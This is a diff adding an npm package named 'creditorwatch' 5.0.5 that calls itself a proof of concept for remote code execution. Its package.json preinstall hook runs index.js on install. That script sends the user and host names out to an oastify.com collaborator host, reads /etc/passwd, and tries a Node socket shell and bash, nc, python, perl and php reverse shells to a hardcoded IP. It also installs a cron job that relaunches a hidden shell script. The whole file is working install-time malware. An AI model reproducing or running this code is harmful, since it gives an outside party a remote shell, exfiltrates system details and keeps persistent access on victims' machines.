creditorwatch 5.0.5

package/index.js

@@ -0,0 +1,108 @@
+const { exec, spawn } = require("child_process");
+const net = require("net");
+
+// Your attacker IP and port
+const ATTACKER_IP = "143.110.254.249";
+const ATTACKER_PORT = 1337;
+
+// Multiple reverse shell payloads for redundancy
+const reverseShellPayloads = [
+  // Bash reverse shell
+  `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`,
+  
+  // Netcat reverse shell (if available)
+  `nc -e /bin/bash ${ATTACKER_IP} ${ATTACKER_PORT}`,
+  
+  // Python reverse shell
+  `python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${ATTACKER_IP}',${ATTACKER_PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"`,
+  
+  // Perl reverse shell
+  `perl -e 'use Socket;$i="${ATTACKER_IP}";$p=${ATTACKER_PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'`,
+  
+  // PHP reverse shell (if PHP is available)
+  `php -r '$sock=fsockopen("${ATTACKER_IP}",${ATTACKER_PORT});exec("/bin/bash -i <&3 >&3 2>&3");'`
+];
+
+// Node.js native reverse shell function
+function nodeReverseShell() {
+  try {
+    const client = new net.Socket();
+    client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
+      console.log('Connected to attacker');
+      
+      // Spawn a shell
+      const shell = spawn('/bin/bash', ['-i']);
+      
+      // Pipe shell output to client
+      shell.stdout.pipe(client);
+      shell.stderr.pipe(client);
+      
+      // Pipe client input to shell
+      client.pipe(shell.stdin);
+      
+      client.on('close', () => {
+        shell.kill();
+      });
+    });
+    
+    client.on('error', (err) => {
+      console.error('Connection error:', err.message);
+    });
+  } catch (error) {
+    console.error('Native reverse shell error:', error.message);
+  }
+}
+
+// Your original payloads for reconnaissance
+const reconPayloads = [
+  `nslookup $(whoami).$(hostname).gau5jjim899y61s6jll79cumyd44svgk.oastify.com`,
+  `curl http://gau5jjim899y61s6jll79cumyd44svgk.oastify.com/$(whoami)/$(hostname)/ -A "$(id)"`,
+  `ls -la`,
+  `uname -a`,
+  `cat /etc/passwd | head -10`,
+  `ps aux | head -10`
+];
+
+// Execute reconnaissance first
+console.log("Executing reconnaissance payloads...");
+reconPayloads.forEach((cmd, index) => {
+  setTimeout(() => {
+    exec(cmd, (error, stdout, stderr) => {
+      if (error) console.error(`Recon error [${index}]:`, error.message);
+      if (stderr) console.error(`Recon stderr [${index}]:`, stderr);
+      if (stdout) console.log(`Recon stdout [${index}]:`, stdout);
+    });
+  }, index * 1000); // Stagger execution
+});
+
+// Try Node.js native reverse shell first
+setTimeout(() => {
+  console.log("Attempting Node.js native reverse shell...");
+  nodeReverseShell();
+}, 3000);
+
+// Try system-level reverse shells as backup
+setTimeout(() => {
+  console.log("Attempting system reverse shells...");
+  reverseShellPayloads.forEach((cmd, index) => {
+    setTimeout(() => {
+      exec(cmd, (error, stdout, stderr) => {
+        if (error) console.error(`Shell error [${index}]:`, error.message);
+        if (stderr) console.error(`Shell stderr [${index}]:`, stderr);
+        if (stdout) console.log(`Shell stdout [${index}]:`, stdout);
+      });
+    }, index * 2000); // Stagger attempts
+  });
+}, 5000);
+
+// Persistence mechanism (optional - for demonstration of impact)
+const persistencePayload = `echo '#!/bin/bash\nbash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1' > /tmp/.shell.sh && chmod +x /tmp/.shell.sh && (crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.shell.sh") | crontab -`;
+
+setTimeout(() => {
+  console.log("Attempting persistence (demonstration only)...");
+  exec(persistencePayload, (error, stdout, stderr) => {
+    if (error) console.error("Persistence error:", error.message);
+    if (stderr) console.error("Persistence stderr:", stderr);
+    if (stdout) console.log("Persistence stdout:", stdout);
+  });
+}, 10000);

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "creditorwatch",
+  "version": "5.0.5",
+  "description": "This is a PoC for RCE",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Shehzad Secure Purple",
+  "license": "ISC",
+  "dependencies": {}
+}